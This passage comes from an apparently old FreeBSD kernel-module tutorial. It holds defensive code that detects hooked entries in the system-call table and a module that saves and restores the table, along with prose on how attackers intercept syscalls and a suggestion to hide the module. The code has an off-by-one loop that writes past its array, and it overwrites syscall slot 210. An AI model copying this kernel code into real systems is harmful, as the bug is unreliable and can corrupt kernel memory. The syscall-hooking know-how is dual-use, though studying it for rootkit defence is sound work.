if (sysent[SYS_getpriority].sy_call!=getpriority) error[SYS_getpriority]=1;
if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
if (sysent[SYS_bind].sy_call!=bind) error[SYS_bind]=1;
if (sysent[SYS_setsockopt].sy_call!=setsockopt) error[SYS_setsockopt]=1;
if (sysent[SYS_listen].sy_call!=listen) error[SYS_listen]=1;
if (sysent[SYS_gettimeofday].sy_call!=gettimeofday) error[SYS_gettimeofday]=1;
if (sysent[SYS_getrusage].sy_call!=getrusage) error[SYS_getrusage]=1;
if (sysent[SYS_getsockopt].sy_call!=getsockopt) error[SYS_getsockopt]=1;
if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
if (sysent[SYS_readv].sy_call!=readv) error[SYS_readv]=1;
if (sysent[SYS_writev].sy_call!=writev) error[SYS_writev]=1;
if (sysent[SYS_settimeofday].sy_call!=settimeofday) error[SYS_settimeofday]=1;
if (sysent[SYS_fchown].sy_call!=fchown) error[SYS_fchown]=1;
if (sysent[SYS_fchmod].sy_call!=fchmod) error[SYS_fchmod]=1;
if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
if (sysent[SYS_setreuid].sy_call!=setreuid) error[SYS_setreuid]=1;
if (sysent[SYS_setregid].sy_call!=setregid) error[SYS_setregid]=1;
if (sysent[SYS_rename].sy_call!=rename) error[SYS_rename]=1;
if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
if (sysent[SYS_flock].sy_call!=flock) error[SYS_flock]=1;
if (sysent[SYS_mkfifo].sy_call!=mkfifo) error[SYS_mkfifo]=1;
if (sysent[SYS_sendto].sy_call!=sendto) error[SYS_sendto]=1;
if (sysent[SYS_shutdown].sy_call!=shutdown) error[SYS_shutdown]=1;
if (sysent[SYS_socketpair].sy_call!=socketpair) error[SYS_socketpair]=1;
if (sysent[SYS_mkdir].sy_call!=mkdir) error[SYS_mkdir]=1;
if (sysent[SYS_rmdir].sy_call!=rmdir) error[SYS_rmdir]=1;
if (sysent[SYS_utimes].sy_call!=utimes) error[SYS_utimes]=1;
if (sysent[SYS_adjtime].sy_call!=adjtime) error[SYS_adjtime]=1;
if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
if (sysent[SYS_quotactl].sy_call!=quotactl) error[SYS_quotactl]=1;
if (sysent[SYS_statfs].sy_call!=statfs) error[SYS_statfs]=1;
if (sysent[SYS_fstatfs].sy_call!=fstatfs) error[SYS_fstatfs]=1;
if (sysent[SYS_getdomainname].sy_call!=getdomainname)
error[SYS_getdomainname]=1;
if (sysent[SYS_setdomainname].sy_call!=setdomainname)
error[SYS_setdomainname]=1;
if (sysent[SYS_uname].sy_call!=uname) error[SYS_uname]=1;
if (sysent[SYS_sysarch].sy_call!=sysarch) error[SYS_sysarch]=1;
if (sysent[SYS_rtprio].sy_call!=rtprio) error[SYS_rtprio]=1;
if (sysent[SYS_semsys].sy_call!=semsys) error[SYS_semsys]=1;
if (sysent[SYS_msgsys].sy_call!=msgsys) error[SYS_msgsys]=1;
if (sysent[SYS_shmsys].sy_call!=shmsys) error[SYS_shmsys]=1;
if (sysent[SYS_setgid].sy_call!=setgid) error[SYS_setgid]=1;
if (sysent[SYS_setegid].sy_call!=setegid) error[SYS_setegid]=1;
if (sysent[SYS_seteuid].sy_call!=seteuid) error[SYS_seteuid]=1;
if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
if (sysent[SYS_pathconf].sy_call!=pathconf) error[SYS_pathconf]=1;
if (sysent[SYS_fpathconf].sy_call!=fpathconf) error[SYS_fpathconf]=1;
if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
if (sysent[SYS_getdirentries].sy_call!=getdirentries)
error[SYS_getdirentries]=1;
if (sysent[SYS_mmap].sy_call!=mmap) error[SYS_mmap]=1;
if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
if (sysent[SYS___sysctl].sy_call!=__sysctl) error[SYS___sysctl]=1;
if (sysent[SYS_mlock].sy_call!=mlock) error[SYS_mlock]=1;
if (sysent[SYS_munlock].sy_call!=munlock) error[SYS_munlock]=1;
if (sysent[SYS_undelete].sy_call!=undelete) error[SYS_undelete]=1;
if (sysent[SYS_futimes].sy_call!=futimes) error[SYS_futimes]=1;
if (sysent[SYS_getpgid].sy_call!=getpgid) error[SYS_getpgid]=1;
if (sysent[SYS_poll].sy_call!=poll) error[SYS_poll]=1;
if (sysent[SYS___semctl].sy_call!=__semctl) error[SYS___semctl]=1;
if (sysent[SYS_semget].sy_call!=semget) error[SYS_semget]=1;
if (sysent[SYS_semop].sy_call!=semop) error[SYS_semop]=1;
if (sysent[SYS_semconfig].sy_call!=semconfig) error[SYS_semconfig]=1;
if (sysent[SYS_msgctl].sy_call!=msgctl) error[SYS_msgctl]=1;
if (sysent[SYS_msgsnd].sy_call!=msgsnd) error[SYS_msgsnd]=1;
if (sysent[SYS_msgrcv].sy_call!=msgrcv) error[SYS_msgrcv]=1;
if (sysent[SYS_shmat].sy_call!=shmat) error[SYS_shmat]=1;
if (sysent[SYS_shmctl].sy_call!=shmctl) error[SYS_shmctl]=1;
if (sysent[SYS_shmdt].sy_call!=shmdt) error[SYS_shmdt]=1;
if (sysent[SYS_shmget].sy_call!=shmget) error[SYS_shmget]=1;
if (sysent[SYS_clock_gettime].sy_call!=clock_gettime)
error[SYS_clock_gettime]=1;
if (sysent[SYS_clock_settime].sy_call!=clock_settime)
error[SYS_clock_settime]=1;
if (sysent[SYS_clock_getres].sy_call!=clock_getres)
error[SYS_clock_getres]=1;
if (sysent[SYS_nanosleep].sy_call!=nanosleep) error[SYS_nanosleep]=1;
if (sysent[SYS_minherit].sy_call!=minherit) error[SYS_minherit]=1;
if (sysent[SYS_rfork].sy_call!=rfork) error[SYS_rfork]=1;
if (sysent[SYS_openbsd_poll].sy_call!=openbsd_poll)
error[SYS_openbsd_poll]=1;
if (sysent[SYS_issetugid].sy_call!=issetugid)
error[SYS_issetugid]=1;
if (sysent[SYS_lchown].sy_call!=lchown) error[SYS_lchown]=1;
if (sysent[SYS_getdents].sy_call!=getdents) error[SYS_getdents]=1;
if (sysent[SYS_lchmod].sy_call!=lchmod) error[SYS_lchmod]=1;
if (sysent[SYS_lutimes].sy_call!=lutimes) error[SYS_lutimes]=1;
if (sysent[SYS_modnext].sy_call!=modnext) error[SYS_modnext]=1;
if (sysent[SYS_modstat].sy_call!=modstat) error[SYS_modstat]=1;
if (sysent[SYS_modfnext].sy_call!=modfnext) error[SYS_modfnext]=1;
if (sysent[SYS_modfind].sy_call!=modfind) error[SYS_modfind]=1;
if (sysent[SYS_kldload].sy_call!=kldload) error[SYS_kldload]=1;
if (sysent[SYS_kldunload].sy_call!=kldunload) error[SYS_kldunload]=1;
if (sysent[SYS_kldfind].sy_call!=kldfind) error[SYS_kldfind]=1;
if (sysent[SYS_kldnext].sy_call!=kldnext) error[SYS_kldnext]=1;
if (sysent[SYS_kldstat].sy_call!=kldstat) error[SYS_kldstat]=1;
if (sysent[SYS_kldfirstmod].sy_call!=kldfirstmod) error[SYS_kldfirstmod]=1;
if (sysent[SYS_getsid].sy_call!=getsid) error[SYS_getsid]=1;
if (sysent[SYS_aio_return].sy_call!=aio_return) error[SYS_aio_return]=1;
if (sysent[SYS_aio_suspend].sy_call!=aio_suspend) error[SYS_aio_suspend]=1;
if (sysent[SYS_aio_cancel].sy_call!=aio_cancel) error[SYS_aio_cancel]=1;
if (sysent[SYS_aio_error].sy_call!=aio_error) error[SYS_aio_error]=1;
if (sysent[SYS_aio_read].sy_call!=aio_read) error[SYS_aio_read]=1;
if (sysent[SYS_aio_write].sy_call!=aio_write) error[SYS_aio_write]=1;
if (sysent[SYS_lio_listio].sy_call!=lio_listio) error[SYS_lio_listio]=1;
if (sysent[SYS_yield].sy_call!=yield) error[SYS_yield]=1;
if (sysent[SYS_thr_sleep].sy_call!=thr_sleep) error[SYS_thr_sleep]=1;
if (sysent[SYS_thr_wakeup].sy_call!=thr_wakeup) error[SYS_thr_wakeup]=1;
if (sysent[SYS_mlockall].sy_call!=mlockall) error[SYS_mlockall]=1;
if (sysent[SYS_munlockall].sy_call!=munlockall) error[SYS_munlockall]=1;
if (sysent[SYS___getcwd].sy_call!=__getcwd) error[SYS___getcwd]=1;
if (sysent[SYS_sched_setparam].sy_call!=sched_setparam)
error[SYS_sched_setparam]=1;
if (sysent[SYS_sched_getparam].sy_call!=sched_getparam)
error[SYS_sched_getparam]=1;
if (sysent[SYS_sched_setscheduler].sy_call!=sched_setscheduler)
error[SYS_sched_setscheduler]=1;
if (sysent[SYS_sched_getscheduler].sy_call!=sched_getscheduler)
error[SYS_sched_getscheduler]=1;
if (sysent[SYS_sched_yield].sy_call!=sched_yield)
error[SYS_sched_yield]=1;
if (sysent[SYS_sched_get_priority_max].sy_call!=sched_get_priority_max)
error[SYS_sched_get_priority_max]=1;
if (sysent[SYS_sched_get_priority_min].sy_call!=sched_get_priority_min)
error[SYS_sched_get_priority_min]=1;
if (sysent[SYS_sched_rr_get_interval].sy_call!=sched_rr_get_interval)
error[SYS_sched_rr_get_interval]=1;
if (sysent[SYS_utrace].sy_call!=utrace)
error[SYS_utrace]=1;
if (sysent[SYS_sendfile].sy_call!=sendfile)
error[SYS_sendfile]=1;
if (sysent[SYS_kldsym].sy_call!=kldsym)
error[SYS_kldsym]=1;
printf("RESULTS : Modified System Calls \n\n");
printf("number new-addr\n");
printf("------ --------\n");
for (counter=0; counter <=399; counter++)
if (error[counter]==1)
printf("%d %p\n", counter, sysent[counter].sy_call);
return 0;
}
static moduledata_t syscall_mod = {
"SysentChecker",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
Every system call entry (sysent) has a function member (sy_call)
as you know. In order to modify or intercept a system call a
hacker has to change this address pointing to his own function.
So we only have to check these addreesses against the system
functions (like write for the SYS_write system call) to check the
system. Average hackers will be stopped with this way of checking
system integrity, gurus won't (you can insert code without
changing the system call table).
After detecting a changed system call table it is a good idea to
restore the original one. We dont't present you the best
solution: Start a module on system startup, copy all sysent fields
into another sysent array. If you want to restore every sysent
just copy the saved list to the modified sysent list.
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
#include <sys/sysproto.h>
#include <sys/sysent.h>
#include <sys/proc.h>
#include <sys/syscall.h>
#include <sys/file.h>
#include <sys/malloc.h>
#include <sys/types.h>
#include <sys/lock.h>
#define MAX_SYSCALL_NUM 337
struct sysent save_sysent[MAX_SYSCALL_NUM];
void restoresys(struct proc *p)
{
int counter;
printf("RESTORE\n");
for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
sysent[counter]=save_sysent[counter];
}
static struct sysent restoresys_sysent = {
0,
restoresys
};
/*
* The function called at load/unload.
*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
int counter;
if (cmd==MOD_LOAD)
{ for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
save_sysent[counter]=sysent[counter];
sysent[210]=restoresys_sysent;
}
return 0;
}
static moduledata_t syscall_mod = {
"SysentRestore",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
This module should be loaded at system startup (the best would be
loading it before the first connect to the 'hostile' net). Of
course, you should add hiding features to this module. This will
also prevent hackers from easily manipulate your own sysent
restore list.